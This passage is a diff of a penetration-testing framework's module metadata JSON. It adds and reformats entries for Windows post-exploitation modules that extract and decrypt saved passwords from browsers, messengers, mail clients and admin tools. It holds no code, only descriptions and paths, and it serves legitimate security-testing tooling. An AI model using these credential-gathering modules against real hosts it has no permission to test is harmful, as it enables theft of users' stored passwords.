"notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/credentials/kmeleon": { + "name": "K-Meleon Credential Gatherer", + "fullname": "post/windows/gather/credentials/kmeleon", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for K-Meleon credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/kmeleon.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/kmeleon", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/credentials/line": { + "name": "LINE Credential Gatherer", + "fullname": "post/windows/gather/credentials/line", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for credentials in LINE desktop application on a Windows host. LINE is the most popular Instant Messenger app in Japan.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/line.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/line", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/credentials/maxthon": { + "name": "Maxthon Credential Gatherer", + "fullname": "post/windows/gather/credentials/maxthon", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Maxthon credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/maxthon.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/maxthon", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/mcafee_vse_hashdump": { "name": "McAfee Virus Scan Enterprise Password Hashes Dump", "fullname": "post/windows/gather/credentials/mcafee_vse_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272972,7 +274318,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/mcafee_vse_hashdump", @@ -272980,28 +274326,29 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/mdaemon_cred_collector": { "name": "Windows Gather MDaemonEmailServer Credential Cracking", "fullname": "post/windows/gather/credentials/mdaemon_cred_collector", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": null, "type": "post", "author": [ "Manuel Nader #AgoraSecurity" ], - "description": "Finds and cracks the stored passwords of MDaemon Email Server", + "description": "Finds and cracks the stored passwords of MDaemon Email Server.", "references": [ "BID-4686" ], @@ -273011,7 +274358,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/mdaemon_cred_collector", @@ -273019,21 +274366,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/meebo": { "name": "Windows Gather Meebo Password Extractor", "fullname": "post/windows/gather/credentials/meebo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273042,16 +274390,14 @@ "Unknown" ], "description": "This module extracts login account password stored by\n Meebo Notifier, a desktop version of Meebo's Online Messenger.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/meebo.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/meebo", @@ -273059,21 +274405,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/miranda": { + "name": "Miranda Credential Gatherer", + "fullname": "post/windows/gather/credentials/miranda", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Miranda credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/miranda.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/miranda", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/moba_xterm": { "name": "Windows Gather MobaXterm Passwords", "fullname": "post/windows/gather/credentials/moba_xterm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273090,7 +274478,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/post/windows/gather/credentials/moba_xterm.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/moba_xterm", @@ -273099,29 +274487,21 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/mremote": { "name": "Windows Gather mRemote Saved Password Extraction", "fullname": "post/windows/gather/credentials/mremote", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273131,16 +274511,14 @@ "mubix " ], "description": "This module extracts saved passwords from mRemote. mRemote stores\n connections for RDP, VNC, SSH, Telnet, rlogin and other protocols. It saves\n the passwords in an encrypted format. The module will extract the connection\n info and decrypt the saved passwords.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/mremote.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/mremote", @@ -273148,21 +274526,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/mssql_local_hashdump": { "name": "Windows Gather Local SQL Server Hash Dump", "fullname": "post/windows/gather/credentials/mssql_local_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273180,7 +274559,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/mssql_local_hashdump.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/mssql_local_hashdump", @@ -273188,21 +274567,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/navicat": { "name": "Windows Gather Navicat Passwords", "fullname": "post/windows/gather/credentials/navicat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273210,7 +274590,7 @@ "HyperSine", "Kali-Team " ], - "description": "This module will find and decrypt stored Navicat passwords", + "description": "This module will find and decrypt stored Navicat passwords.", "references": [ "URL-https://github.com/HyperSine/how-does-navicat-encrypt-password", "URL-https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125" @@ -273221,7 +274601,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-07 12:28:10 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/windows/gather/credentials/navicat.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/navicat", @@ -273230,30 +274610,22 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/nimbuzz": { "name": "Windows Gather Nimbuzz Instant Messenger Password Extractor", "fullname": "post/windows/gather/credentials/nimbuzz", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273262,16 +274634,14 @@ "Unknown" ], "description": "This module extracts the account passwords saved by Nimbuzz Instant\n Messenger in hex format.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/nimbuzz.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/nimbuzz", @@ -273279,21 +274649,104 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/opera": { + "name": "Opera Credential Gatherer", + "fullname": "post/windows/gather/credentials/opera", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Opera credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/opera.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/opera", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/credentials/operamail": { + "name": "Operamail Credential Gatherer", + "fullname": "post/windows/gather/credentials/operamail", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Operamail credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/operamail.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/operamail", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/outlook": { "name": "Windows Gather Microsoft Outlook Saved Password Extraction", "fullname": "post/windows/gather/credentials/outlook", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273301,16 +274754,14 @@ "Justin Cacak" ], "description": "This module extracts and decrypts saved Microsoft\n Outlook (versions 2002-2010) passwords from the Windows\n Registry for POP3/IMAP/SMTP/HTTP accounts.\n In order for decryption to be successful, this module must be\n executed under the same privileges as the user which originally\n encrypted the password.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/post/windows/gather/credentials/outlook.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/outlook", @@ -273318,21 +274769,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/plsql_developer": { "name": "Windows Gather PL/SQL Developer Connection Credentials", "fullname": "post/windows/gather/credentials/plsql_developer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273364,24 +274816,59 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/postbox": { + "name": "Postbox Credential Gatherer", + "fullname": "post/windows/gather/credentials/postbox", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Postbox credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/postbox.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/postbox", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/pulse_secure": { "name": "Windows Pulse Secure Connect Client Saved Password Extractor", "fullname": "post/windows/gather/credentials/pulse_secure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273401,7 +274888,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-03 18:12:53 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/post/windows/gather/credentials/pulse_secure.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/pulse_secure", @@ -273415,24 +274902,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/purevpn_cred_collector": { "name": "Windows Gather PureVPN Client Credential Collector", "fullname": "post/windows/gather/credentials/purevpn_cred_collector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273450,7 +274931,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/purevpn_cred_collector.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/purevpn_cred_collector", @@ -273458,21 +274939,105 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/qq": { + "name": "QQ Credential Gatherer", + "fullname": "post/windows/gather/credentials/qq", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for QQ credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/qq.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/qq", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/credentials/quassel_irc": { + "name": "Quassel IRC Credential Gatherer", + "fullname": "post/windows/gather/credentials/quassel_irc", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Jacob Tierney", + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for credentials stored on Quassel IRC Client on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/quassel_irc.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/quassel_irc", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/razer_synapse": { "name": "Windows Gather Razer Synapse Password Extraction", "fullname": "post/windows/gather/credentials/razer_synapse", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273492,7 +275057,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/razer_synapse.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/razer_synapse", @@ -273500,21 +275065,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/razorsql": { "name": "Windows Gather RazorSQL Credentials", "fullname": "post/windows/gather/credentials/razorsql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273523,16 +275089,14 @@ "sinn3r " ], "description": "This module stores username, password, type, host, port, database (and name)\n collected from profiles.txt of RazorSQL.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/razorsql.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/razorsql", @@ -273540,21 +275104,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/rdc_manager_creds": { "name": "Windows Gather Remote Desktop Connection Manager Saved Password Extraction", "fullname": "post/windows/gather/credentials/rdc_manager_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273562,16 +275127,14 @@ "Tom Sellers " ], "description": "This module extracts and decrypts saved Microsoft Remote Desktop\n Connection Manager (RDCMan) passwords the .RDG files of users.\n The module will attempt to find the files configured for all users\n on the target system. Passwords for managed hosts are encrypted by\n default. In order for decryption of these passwords to be successful,\n this module must be executed under the same account as the user which\n originally encrypted the password. Passwords stored in plain text will\n be captured and documented.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/rdc_manager_creds.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/rdc_manager_creds", @@ -273579,21 +275142,144 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/redis_desktop_manager": { + "name": "RedisDesktopManager Credential Gatherer", + "fullname": "post/windows/gather/credentials/redis_desktop_manager", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kali-Team" + ], + "description": "This module searches for RedisDesktopManager credentials on a Windows host.", + "references": [ + "URL-https://blog.kali-team.cn/Metasploit-PackRat-RedisDesktopManager-42dc7ab063f040d182da0f1fc16db74e" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/redis_desktop_manager.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/redis_desktop_manager", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/credentials/safari": { + "name": "Safari Credential Gatherer", + "fullname": "post/windows/gather/credentials/safari", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Safari credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/safari.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/safari", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/credentials/seamonkey": { + "name": "Seamonkey Credential Gatherer", + "fullname": "post/windows/gather/credentials/seamonkey", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for seamonkey credentials on a Windows host.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/seamonkey.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/seamonkey", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/credentials/securecrt": { "name": "Windows SecureCRT Session Information Enumeration", "fullname": "post/windows/gather/credentials/securecrt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273611,7 +275297,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/windows/gather/credentials/securecrt.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/securecrt", @@ -273619,11 +275305,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], + "Reliability": [], "Stability": [ - + "crash-safe" ], "SideEffects": [ "ioc-in-logs" @@ -273633,16 +275317,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/skype": { "name": "Windows Gather Skype Saved Password Hash Extraction", "fullname": "post/windows/gather/credentials/skype", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273662,7 +275342,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-01 05:17:02 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/post/windows/gather/credentials/skype.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/skype", @@ -273670,21 +275350,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/smartermail": { "name": "Windows Gather SmarterMail Password Extraction", "fullname": "post/windows/gather/credentials/smartermail", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273703,7 +275384,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/smartermail.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/smartermail", @@ -273711,22 +275392,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/smartftp": { "name": "Windows Gather SmartFTP Saved Password Extraction", "fullname": "post/windows/gather/credentials/smartftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273734,16 +275416,14 @@ "theLightCosine " ], "description": "This module finds saved login credentials\n for the SmartFTP FTP client for windows.\n It finds the saved passwords and decrypts\n them.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/smartftp.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/smartftp", @@ -273751,21 +275431,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/solarwinds_orion_dump": { "name": "SolarWinds Orion Secrets Dump", "fullname": "post/windows/gather/credentials/solarwinds_orion_dump", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2022-11-08", "type": "post", @@ -273824,9 +275505,7 @@ "post_windows/gather/credentials/spark_im": { "name": "Windows Gather Spark IM Password Extraction", "fullname": "post/windows/gather/credentials/spark_im", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273844,7 +275523,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 09:08:33 +0000", "path": "/modules/post/windows/gather/credentials/spark_im.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/spark_im", @@ -273852,21 +275531,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/credentials/srware": { + "name": "Srware Credential Gatherer", + "fullname": "post/windows/gather/credentials/srware", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" + ], + "description": "This module searches for Srware credentials on a Windows host. SRWare Iron is a Chromium-based web browser developed by the German company SRWare.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/srware.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/srware", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + 